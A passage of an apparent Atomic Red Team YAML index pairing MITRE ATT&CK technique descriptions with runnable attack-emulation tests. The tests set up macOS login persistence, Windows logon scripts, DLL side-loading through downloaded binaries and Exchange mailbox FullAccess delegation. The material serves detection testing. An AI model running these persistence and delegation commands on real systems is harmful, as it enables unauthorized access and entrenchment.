      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring Windows API calls indicative of the various types
        of code injection may generate a significant amount of data and may not be
        directly useful for defense unless collected under specific circumstances
        for known bad sequences of calls, since benign use of API functions may be
        common and difficult to distinguish from malicious behavior. Windows API calls
        such as <code>CreateRemoteThread</code>, <code>SuspendThread</code>/<code>SetThreadContext</code>/<code>ResumeThread</code>,
        and those that can be used to modify memory within another process, such as
        <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for
        this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze
        process behavior to determine if a process is performing actions it usually
        does not, such as opening network connections, reading files, or other suspicious
        actions that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: Process Modification'
      - 'Process: Process Access'
      - 'Process: OS API Execution'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1547.007:
    technique:
      x_mitre_platforms:
      - macOS
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--e5cc9e7a-e61a-46a1-b869-55fb6eab058e
      created: '2020-01-24T18:15:06.641Z'
      x_mitre_version: '1.1'
      external_references:
      - source_name: mitre-attack
        external_id: T1547.007
        url: https://attack.mitre.org/techniques/T1547/007
      - source_name: Re-Open windows on Mac
        url: https://support.apple.com/en-us/HT204005
        description: Apple. (2016, December 6). Automatically re-open windows, apps,
          and documents on your Mac. Retrieved July 11, 2017.
      - source_name: Methods of Mac Malware Persistence
        url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf
        description: Patrick Wardle. (2014, September). Methods of Malware Persistence
          on Mac OS X. Retrieved July 5, 2017.
      - source_name: Wardle Persistence Chapter
        url: https://taomm.org/PDFs/vol1/CH%200x02%20Persistence.pdf
        description: 'Patrick Wardle. (n.d.). Chapter 0x2: Persistence. Retrieved
          April 13, 2022.'
      x_mitre_deprecated: false
      revoked: false
      description: |-
        Adversaries may modify plist files to automatically run an application when a user logs in. When a user logs out or restarts via the macOS Graphical User Interface (GUI), a prompt is provided to the user with a checkbox to "Reopen windows when logging back in".(Citation: Re-Open windows on Mac) When selected, all applications currently open are added to a property list file named <code>com.apple.loginwindow.[UUID].plist</code> within the <code>~/Library/Preferences/ByHost</code> directory.(Citation: Methods of Mac Malware Persistence)(Citation: Wardle Persistence Chapter) Applications listed in this file are automatically reopened upon the user’s next logon.

        Adversaries can establish [Persistence](https://attack.mitre.org/tactics/TA0003) by adding a malicious application path to the <code>com.apple.loginwindow.[UUID].plist</code> file to execute payloads when a user logs in.
      modified: '2022-05-11T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: 'Boot or Logon Autostart Execution: Re-opened Applications'
      x_mitre_detection: Monitoring the specific plist files associated with reopening
        applications can indicate when an application has registered itself to be
        reopened.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_is_subtechnique: true
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      x_mitre_permissions_required:
      - User
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1547.007
    atomic_tests:
    - name: Copy in loginwindow.plist for Re-Opened Applications
      auto_generated_guid: 5fefd767-ef54-4ac6-84d3-751ab85e8aba
      description: 'Copy in new loginwindow.plist to launch Calculator.

        '
      supported_platforms:
      - macos
      input_arguments:
        calc_plist_path:
          description: path to binary plist with entry to open calculator
          type: path
          default: PathToAtomicsFolder/T1547.007/src/reopen_loginwindow_calc.plist
      executor:
        command: 'cp #{calc_plist_path} ~/Library/Preferences/ByHost/com.apple.loginwindow.plist

          '
        cleanup_command: 'rm -f ~/Library/Preferences/ByHost/com.apple.loginwindow.plist

          '
        name: sh
    - name: Re-Opened Applications using LoginHook
      auto_generated_guid: 5f5b71da-e03f-42e7-ac98-d63f9e0465cb
      description: |
        Mac Defaults

        [Reference](https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CustomLogin.html)
      supported_platforms:
      - macos
      input_arguments:
        script:
          description: path to script
          type: path
          default: "/path/to/script"
      executor:
        command: 'sudo defaults write com.apple.loginwindow LoginHook #{script}

          '
        cleanup_command: 'sudo defaults delete com.apple.loginwindow LoginHook

          '
        elevation_required: true
        name: sh
    - name: Append to existing loginwindow for Re-Opened Applications
      auto_generated_guid: 766b6c3c-9353-4033-8b7e-38b309fa3a93
      description: |
        Appends an entry to launch Calculator hidden loginwindow.*.plist for next login.
        Note that the change may not result in the added Calculator program launching on next user login.
        It may depend on which version of macOS you are running on.
      supported_platforms:
      - macos
      input_arguments:
        objc_source_path:
          description: path to objective C program
          type: path
          default: PathToAtomicsFolder/T1547.007/src/append_reopen_loginwindow.m
        exe_path:
          description: path to compiled program
          type: path
          default: "/tmp/t1547007_append_exe"
      dependency_executor_name: bash
      dependencies:
      - description: 'compile C program

          '
        prereq_command: 'if [ -f "#{exe_path}" ]; then exit 0 ; else exit 1; fi

          '
        get_prereq_command: 'cc #{objc_source_path} -o #{exe_path} -framework Cocoa

          '
      executor:
        command: |
          FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
          if [ -z "${FILE}" ] ; then echo "No loginwindow plist file found" && exit 1 ; fi
          echo save backup copy to /tmp/
          cp ${FILE} /tmp/t1547007_loginwindow-backup.plist
          echo before
          plutil -p ${FILE}
          echo overwriting...
          #{exe_path} ${FILE} && echo after && plutil -p ${FILE}
        cleanup_command: |
          rm -f #{exe_path}
          # revert to backup copy
          FILE=`find ~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist -type f | head -1`
          if [ -z "${FILE}" ] ; then
             exit 0
          fi
          mv /tmp/t1547007_loginwindow-backup.plist ${FILE}
        name: sh
  T1574.002:
    technique:
      modified: '2023-05-09T14:00:00.188Z'
      name: 'Hijack Execution Flow: DLL Side-Loading'
      description: |-
        Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).

        Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of masking actions they perform under a legitimate, trusted, and potentially elevated system or software process. Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted process.(Citation: FireEye DLL Side-Loading)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_deprecated: false
      x_mitre_detection: Monitor processes for unusual activity (e.g., a process that
        does not use the network begins to do so) as well as the introduction of new
        files/programs. Track DLL metadata, such as a hash, and compare DLLs that
        are loaded at process execution time against previous executions to detect
        differences that do not correlate with patching or updates.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_platforms:
      - Windows
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'File: File Modification'
      - 'Process: Process Creation'
      - 'Module: Module Load'
      - 'File: File Creation'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application Control
      type: attack-pattern
      id: attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b
      created: '2020-03-13T19:41:37.908Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1574/002
        external_id: T1574.002
      - source_name: FireEye DLL Side-Loading
        description: 'Amanda Steward. (2014). FireEye DLL Side-Loading: A Thorn in
          the Side of the Anti-Virus Industry. Retrieved March 13, 2020.'
        url: https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      spec_version: '2.1'
      identifier: T1574.002
    atomic_tests:
    - name: DLL Side-Loading using the Notepad++ GUP.exe binary
      auto_generated_guid: 65526037-7079-44a9-bda1-2cb624838040
      description: |
        GUP is an open source signed binary used by Notepad++ for software updates, and is vulnerable to DLL Side-Loading, thus enabling the libcurl dll to be loaded.
        Upon execution, calc.exe will be opened.
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        gup_executable:
          description: GUP is an open source signed binary used by Notepad++ for software
            updates
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\GUP.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Gup.exe binary must exist on disk at specified location (#{gup_executable})

          '
        prereq_command: 'if (Test-Path "#{gup_executable}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{gup_executable}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/GUP.exe?raw=true" -OutFile "#{gup_executable}"
      executor:
        command: '"#{gup_executable}"

          '
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
    - name: DLL Side-Loading using the dotnet startup hook environment variable
      auto_generated_guid: d322cdd7-7d60-46e3-9111-648848da7c02
      description: 'Utilizing the dotnet_startup_hooks environment variable, this
        method allows for registering a global method in an assembly that will be
        executed whenever a .net core application is started. This unlocks a whole
        range of scenarios, from injecting a profiler to tweaking a static context
        in a given environment. [blog post](https://medium.com/criteo-engineering/c-have-some-fun-with-net-core-startup-hooks-498b9ad001e1)

        '
      supported_platforms:
      - windows
      input_arguments:
        process_name:
          description: Name of the created process
          type: string
          default: calculator.exe
        preloader_dll:
          description: library for interfacing with the dotnet framework
          type: path
          default: PathToAtomicsFolder\T1574.002\bin\preloader.dll
      dependency_executor_name: powershell
      dependencies:
      - description: ".Net SDK must be installed\n"
        prereq_command: 'if (Test-Path "C:\Program Files\dotnet\dotnet.exe") {exit
          0} else {exit 1}

          '
        get_prereq_command: |
          winget install Microsoft.DotNet.SDK.6 --accept-source-agreements --accept-package-agreements -h > $null
          echo.
      - description: 'preloader must exist

          '
        prereq_command: 'if (Test-Path "#{preloader_dll}") {exit 0} else {exit 1}

          '
        get_prereq_command: 'Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1574.002/bin/preloader?raw=true"
          -OutFile "#{preloader_dll}"

          '
      executor:
        command: |
          set DOTNET_STARTUP_HOOKS="#{preloader_dll}"
          dotnet -h > nul
          echo.
        cleanup_command: 'taskkill /F /IM #{process_name} >nul 2>&1

          '
        name: command_prompt
  T1098.002:
    technique:
      modified: '2024-01-03T15:46:06.706Z'
      name: 'Account Manipulation: Additional Email Delegate Permissions'
      description: "Adversaries may grant additional permission levels to maintain
        persistent access to an adversary-controlled email account. \n\nFor example,
        the <code>Add-MailboxPermission</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        cmdlet, available in on-premises Exchange and in the cloud-based service Office
        365, adds permissions to a mailbox.(Citation: Microsoft - Add-MailboxPermission)(Citation:
        FireEye APT35 2018)(Citation: Crowdstrike Hiding in Plain Sight 2018) In Google
        Workspace, delegation can be enabled via the Google Admin console and users
        can delegate accounts via their Gmail settings.(Citation: Gmail Delegation)(Citation:
        Google Ensuring Your Information is Safe) \n\nAdversaries may also assign
        mailbox folder permissions through individual folder permissions or roles.
        In Office 365 environments, adversaries may assign the Default or Anonymous
        user permissions or roles to the Top of Information Store (root), Inbox, or
        other mailbox folders. By assigning one or both user permissions to a folder,
        the adversary can utilize any other account in the tenant to maintain persistence
        to the target user’s mail folders.(Citation: Mandiant Defend UNC2452 White
        Paper)\n\nThis may be used in persistent threat incidents as well as BEC (Business
        Email Compromise) incidents where an adversary can add [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003)
        to the accounts they wish to compromise. This may further enable use of additional
        techniques for gaining access to systems. For example, compromised business
        accounts are often used to send messages to other accounts in the network
        of the target business while creating inbox rules (ex: [Internal Spearphishing](https://attack.mitre.org/techniques/T1534)),
        so the messages evade spam/phishing detection mechanisms.(Citation: Bienstock,
        D. - Defending O365 - 2019)"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Microsoft Detection and Response Team (DART)
      - Mike Burns, Mandiant
      - Naveen Vijayaraghavan, Nilesh Dherange (Gurucul)
      - Jannie Li, Microsoft Threat Intelligence Center (MSTIC)
      - Arad Inbar, Fidelis Security
      x_mitre_deprecated: false
      x_mitre_detection: "Monitor for unusual Exchange and Office 365 email account
        permissions changes that may indicate excessively broad permissions being
        granted to compromised accounts.\n\nEnable the UpdateFolderPermissions action
        for all logon types. The mailbox audit log will forward folder permission
        modification events to the Unified Audit Log. Create rules to alert on ModifyFolderPermissions
        operations where the Anonymous or Default user is assigned permissions other
        than None. \n\nA larger than normal volume of emails sent from an account
        and similar phishing emails sent from  real accounts within a network may
        be a sign that an account was compromised and attempts to leverage access
        with modified email permissions is occurring."
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - Windows
      - Office 365
      - Google Workspace
      x_mitre_version: '2.1'
      x_mitre_data_sources:
      - 'Group: Group Modification'
      - 'Application Log: Application Log Content'
      - 'User Account: User Account Modification'
      type: attack-pattern
      id: attack-pattern--e74de37c-a829-446c-937d-56a44f0e9306
      created: '2020-01-19T16:54:28.516Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1098/002
        external_id: T1098.002
      - source_name: Bienstock, D. - Defending O365 - 2019
        description: 'Bienstock, D.. (2019). BECS and Beyond: Investigating and Defending
          O365. Retrieved September 13, 2019.'
        url: https://www.slideshare.net/DouglasBienstock/shmoocon-2019-becs-and-beyond-investigating-and-defending-office-365
      - source_name: Crowdstrike Hiding in Plain Sight 2018
        description: 'Crowdstrike. (2018, July 18). Hiding in Plain Sight: Using the
          Office 365 Activities API to Investigate Business Email Compromises. Retrieved
          January 19, 2020.'
        url: https://www.crowdstrike.com/blog/hiding-in-plain-sight-using-the-office-365-activities-api-to-investigate-business-email-compromises/
      - source_name: Google Ensuring Your Information is Safe
        description: Google. (2011, June 1). Ensuring your information is safe online.
          Retrieved April 1, 2022.
        url: https://googleblog.blogspot.com/2011/06/ensuring-your-information-is-safe.html
      - source_name: Gmail Delegation
        description: Google. (n.d.). Turn Gmail delegation on or off. Retrieved April
          1, 2022.
        url: https://support.google.com/a/answer/7223765?hl=en
      - source_name: FireEye APT35 2018
        description: Mandiant. (2018). Mandiant M-Trends 2018. Retrieved July 9, 2018.
        url: https://www.fireeye.com/content/dam/collateral/en/mtrends-2018.pdf
      - source_name: Mandiant Defend UNC2452 White Paper
        description: Mandiant. (2021, January 19). Remediation and Hardening Strategies
          for Microsoft 365 to Defend Against UNC2452. Retrieved January 22, 2021.
        url: https://www.mandiant.com/resources/blog/remediation-and-hardening-strategies-for-microsoft-365-to-defend-against-unc2452
      - source_name: Microsoft - Add-MailboxPermission
        description: Microsoft. (n.d.). Add-Mailbox Permission. Retrieved September
          13, 2019.
        url: https://docs.microsoft.com/en-us/powershell/module/exchange/mailboxes/add-mailboxpermission?view=exchange-ps
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1098.002
    atomic_tests:
    - name: EXO - Full access mailbox permission granted to a user
      auto_generated_guid: 17d046be-fdd0-4cbb-b5c7-55c85d9d0714
      description: |
        Give a nominated user, full mailbox delegation access of another user.
        This can be used by an adversary to maintain persistent access to a target's mailbox in M365.
      supported_platforms:
      - office-365
      input_arguments:
        username:
          description: office-365 username
          type: string
          default: o365_user_test@contoso.com
        password:
          description: office-365 password
          type: string
          default: o365_password_test
        delegate_target:
          description: office-365 target_email
          type: string
          default: delegate@contoso.com
        operator_mailbox:
          description: office-365 target_email
          type: string
          default: operator@contoso.com
      dependency_executor_name: powershell
      dependencies:
      - description: 'ExchangeOnlineManagement PowerShell module must be installed

          '
        prereq_command: |
          $RequiredModule = Get-Module -Name ExchangeOnlineManagement -ListAvailable
          if (-not $RequiredModule) {exit 1}
          if (-not $RequiredModule.ExportedCommands['Connect-ExchangeOnline']) {exit 1} else {exit 0}
        get_prereq_command: "Install-Module -Name ExchangeOnlineManagement         \n"
      executor:
        command: |
          Import-Module ExchangeOnlineManagement
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Add-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All
          Disconnect-ExchangeOnline -Confirm:$false
        cleanup_command: |
          Import-Module ExchangeOnlineManagement
          $secure_pwd = "#{password}" | ConvertTo-SecureString -AsPlainText -Force
          $creds = New-Object System.Management.Automation.PSCredential -ArgumentList "#{username}", $secure_pwd
          Connect-ExchangeOnline -Credential $creds
          Remove-MailboxPermission -Identity "#{delegate_target}" -User "#{operator_mailbox}" -AccessRights FullAccess -InheritanceType All -Confirm:$false
          Disconnect-ExchangeOnline -Confirm:$false
        name: powershell
        elevation_required: false
  T1548.006:
    technique:
      modified: '2024-04-17T00:02:12.021Z'
      name: TCC Manipulation
      description: "Adversaries can manipulate or abuse the Transparency, Consent,
        & Control (TCC) service or database to execute malicious applications with
        elevated permissions. TCC is a Privacy & Security macOS control mechanism
        used to determine if the running process has permission to access the data
        or services protected by TCC, such as screen sharing, camera, microphone,
        or Full Disk Access (FDA).\n\nWhen an application requests to access data
        or a service protected by TCC, the TCC daemon (`tccd`) checks the TCC database,
        located at `/Library/Application Support/com.apple.TCC/TCC.db` (and `~/` equivalent),
        for existing permissions. If permissions do not exist, then the user is prompted
        to grant permission. Once permissions are granted, the database stores the
        application's permissions and will not prompt the user again unless reset.
        For example, when a web browser requests permissions to the user's webcam,
        once granted the web browser may not explicitly prompt the user again.(Citation:
        welivesecurity TCC)\n\nAdversaries may manipulate the TCC database or otherwise
        abuse the TCC service to execute malicious content. This can be done in various
        ways, including using privileged system applications to execute malicious
        payloads or manipulating the database to grant their application TCC permissions.
        \n\nFor example, adversaries can use Finder, which has FDA permissions by
        default, to execute malicious [AppleScript](https://attack.mitre.org/techniques/T1059/002)
        while preventing a user prompt. For a system without System Integrity Protection
        (SIP) enabled, adversaries have also manipulated the operating system to load
        an adversary controlled TCC database using environment variables and [Launchctl](https://attack.mitre.org/techniques/T1569/001).(Citation:
        TCC macOS bypass)(Citation: TCC Database)\n\nAdversaries may also opt to instead
        inject code (e.g., [Process Injection](https://attack.mitre.org/techniques/T1055))
        into targeted applications with the desired TCC permissions.\n"
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_contributors:
      - Marina Liang
      x_mitre_deprecated: false
      x_mitre_detection: ''
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - macOS
      x_mitre_version: '1.0'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Modification'
      - 'Process: Process Creation'
      type: attack-pattern
      id: attack-pattern--e8a0a025-3601-4755-abfb-8d08283329fb
      created: '2024-03-21T21:10:57.322Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1548/006
        external_id: T1548.006
      - source_name: welivesecurity TCC
        description: 'Marc-Etienne M.Léveillé. (2022, July 19). I see what you did
          there: A look at the CloudMensis macOS spyware. Retrieved March 21, 2024.'
        url: https://www.welivesecurity.com/2022/07/19/i-see-what-you-did-there-look-cloudmensis-macos-spyware/
      - source_name: TCC Database
        description: 'Marina Liang. (2024, April 23). Return of the mac(OS): Transparency,
          Consent, and Control (TCC) Database Manipulation. Retrieved March 28, 2024.'
        url: https://interpressecurity.com/resources/return-of-the-macos-tcc/
      - source_name: TCC macOS bypass
        description: Phil Stokes. (2021, July 1). Bypassing macOS TCC User Privacy
          Protections By Accident and Design. Retrieved March 21, 2024.
        url: https://www.sentinelone.com/labs/bypassing-macos-tcc-user-privacy-protections-by-accident-and-design/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1055.008:
    technique:
      x_mitre_platforms:
      - Linux
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f
      type: attack-pattern
      created: '2020-01-14T01:33:19.065Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.008
        url: https://attack.mitre.org/techniques/T1055/008
      - source_name: PTRACE man
        url: http://man7.org/linux/man-pages/man2/ptrace.2.html
        description: Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's
          Manual. Retrieved February 21, 2020.
      - source_name: Medium Ptrace JUL 2018
        url: https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be
        description: Jain, S. (2018, July 25). Code injection in running process using
          ptrace. Retrieved February 21, 2020.
      - source_name: BH Linux Inject
        url: https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf
        description: Colgan, T. (2015, August 15). Linux-Inject. Retrieved February
          21, 2020.
      - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics:
          Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved
          December 20, 2017.'
        source_name: ArtOfMemoryForensics
      - url: https://www.gnu.org/software/acct/
        description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved
          December 20, 2017.
        source_name: GNU Acct
      - url: https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing
        description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide -
          Chapter 7 - System Auditing. Retrieved December 20, 2017.
        source_name: RHEL auditd
      - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html
        description: stderr. (2014, February 14). Detecting Userland Preload Rootkits.
          Retrieved December 20, 2017.
        source_name: Chokepoint preload rootkits
      modified: '2022-04-25T14:00:00.188Z'
      name: Ptrace System Calls
      description: "Adversaries may inject malicious code into processes via ptrace
        (process trace) system calls in order to evade process-based defenses as well
        as possibly elevate privileges. Ptrace system call injection is a method of
        executing arbitrary code in the address space of a separate live process.
        \n\nPtrace system call injection involves attaching to and modifying a running
        process. The ptrace system call enables a debugging process to observe and
        control another process (and each individual thread), including changing memory
        and register values.(Citation: PTRACE man) Ptrace system call injection is
        commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>)
        then invoking that memory with <code>PTRACE_SETREGS</code> to set the register
        containing the next instruction to execute. Ptrace system call injection can
        also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>,
        which copy data to a specific address in the target processes’ memory (ex:
        the current address of the next instruction). (Citation: PTRACE man)(Citation:
        Medium Ptrace JUL 2018) \n\nPtrace system call injection may not be possible
        targeting processes that are non-child processes and/or have higher-privileges.(Citation:
        BH Linux Inject) \n\nRunning code in the context of another process may allow
        access to the process's memory, system/network resources, and possibly elevated
        privileges. Execution via ptrace system call injection may also evade detection
        from security products since the execution is masked under a legitimate process. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: defense-evasion
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: "Monitoring for Linux specific calls such as the ptrace system
        call should not generate large amounts of data due to their specialized nature,
        and can be a very effective method to detect some of the common process injection
        methods.(Citation: ArtOfMemoryForensics)  (Citation: GNU Acct)  (Citation:
        RHEL auditd)  (Citation: Chokepoint preload rootkits) \n\nAnalyze process
        behavior to determine if a process is performing actions it usually does not,
        such as opening network connections, reading files, or other suspicious actions
        that could relate to post-compromise behavior. "
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.1'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Process: OS API Execution'
      - 'Process: Process Access'
      - 'Process: Process Modification'
      x_mitre_defense_bypassed:
      - Anti-virus
      - Application control
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
    atomic_tests: []
  T1037.001:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--eb125d40-0b2d-41ac-a71a-3229241c2cd3
      type: attack-pattern
      created: '2020-01-10T03:43:37.211Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1037.001
        url: https://attack.mitre.org/techniques/T1037/001
      - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx
        description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved
          April 27, 2016.
        source_name: TechNet Logon Scripts
      - source_name: Hexacorn Logon Scripts
        url: http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/
        description: Hexacorn. (2014, November 14). Beyond good ol’ Run key, Part
          18. Retrieved November 15, 2019.
      modified: '2021-04-29T14:49:39.188Z'
      name: 'Boot or Logon Initialization Scripts: Logon Script (Windows)'
      description: "Adversaries may use Windows logon scripts automatically executed
        at logon initialization to establish persistence. Windows allows logon scripts
        to be run whenever a specific user or group of users log into a system.(Citation:
        TechNet Logon Scripts) This is done via adding a path to a script to the <code>HKCU\\Environment\\UserInitMprLogonScript</code>
        Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these
        scripts to maintain persistence on a single system. Depending on the access
        configuration of the logon scripts, either local credentials or an administrator
        account may be necessary. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: persistence
      - kill_chain_name: mitre-attack
        phase_name: privilege-escalation
      x_mitre_detection: |-
        Monitor for changes to Registry values associated with Windows logon scrips, nameley <code>HKCU\Environment\UserInitMprLogonScript</code>.

        Monitor running process for actions that could be indicative of abnormal programs or executables running upon logon.
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Process: Process Creation'
      - 'Windows Registry: Windows Registry Key Creation'
      spec_version: '2.1'
      x_mitre_attack_spec_version: 2.1.0
      identifier: T1037.001
    atomic_tests:
    - name: Logon Scripts
      auto_generated_guid: d6042746-07d4-4c92-9ad8-e644c114a231
      description: |
        Adds a registry value to run batch script created in the %temp% directory. Upon execution, there will be a new environment variable in the HKCU\Environment key
        that can be viewed in the Registry Editor.
      supported_platforms:
      - windows
      input_arguments:
        script_path:
          description: Path to .bat file
          type: string
          default: "%temp%\\art.bat"
        script_command:
          description: Command To Execute
          type: string
          default: echo Art "Logon Script" atomic test was successful. >> %USERPROFILE%\desktop\T1037.001-log.txt
      executor:
        command: |
          echo "#{script_command}" > #{script_path}
          REG.exe ADD HKCU\Environment /v UserInitMprLogonScript /t REG_SZ /d "#{script_path}" /f
        cleanup_command: |
          REG.exe DELETE HKCU\Environment /v UserInitMprLogonScript /f >nul 2>&1
          del #{script_path} >nul 2>&1
          del "%USERPROFILE%\desktop\T1037.001-log.txt" >nul 2>&1
        name: command_prompt
  T1055.015:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - ESET
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      id: attack-pattern--eb2cb5cb-ae87-4de0-8c35-da2a17aafb99
      type: attack-pattern
      created: '2021-11-22T15:02:15.190Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      external_references:
      - source_name: mitre-attack
        external_id: T1055.015
        url: https://attack.mitre.org/techniques/T1055/015
      - source_name: Microsoft List View Controls
        url: https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview
        description: Microsoft. (2021, May 25). About List-View Controls. Retrieved
          January 4, 2022.
      - source_name: Modexp Windows Process Injection
        url: https://modexp.wordpress.com/2019/04/25/seven-window-injection-methods/
